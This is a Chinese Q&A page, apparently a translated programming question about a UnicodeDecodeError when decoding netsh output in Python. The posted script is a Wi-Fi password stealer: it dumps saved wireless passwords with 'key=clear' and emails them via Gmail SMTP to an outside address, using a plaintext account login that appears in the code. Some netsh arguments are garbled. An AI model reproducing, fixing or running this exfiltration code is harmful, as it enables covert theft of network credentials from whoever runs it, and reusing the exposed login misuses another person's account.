如何解决subproces.check_output().decode() 给出 UnicodeDecodeError: 'utf-8' codec can't decode byte 0x83 in position 604: invalid start byte
我正在尝试使用子流程模型检索某个日期,但一直出现上述错误。查找后我发现那个位置的字符是'â'。我尝试了其他解码方法,如 charmap 和 latin-1,它没有给我错误,但输出 str 是 'L\x83ayoune' 它返回字符的位置而不是它本身的字符。 给出错误的行: data = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8')
import subprocess
import smtplib
data = subprocess.check_output(['netsh','profiles']).decode('utf-8').split('\n')
print(data)
wifis = [line.split(':')[1][1:-1] for line in data if "All User Profile" in line]
msg = ''
print(wifis)
for wifi in wifis:
resultes = subprocess.check_output(['netsh','profiles',wifi,'key=clear'],stderr=subprocess.STDOUT).decode('utf-8').split('\n')
resultes = [line.split(':')[1][1:-1] for line in resultes if 'Key Content' in line]
try:
print(f"Name : {wifi},Password : {resultes[0]}")
msg += f"Name : {wifi},Password : {resultes[0]}"
except IndexError:
print(f"Name : {wifi} Password : Not Accessible")
msg += f"Name : {wifi} Password : Not Accessible\n"
with smtplib.SMTP('smtp.gmail.com',587) as smtp:
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
smtp.login('adamdemofighter@gmail.com','hamzaelbahlaoui')
smtp.sendmail('adamdemofighter@gmail.com','hamza.el.bahlaoui@outlook.com',msg)
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。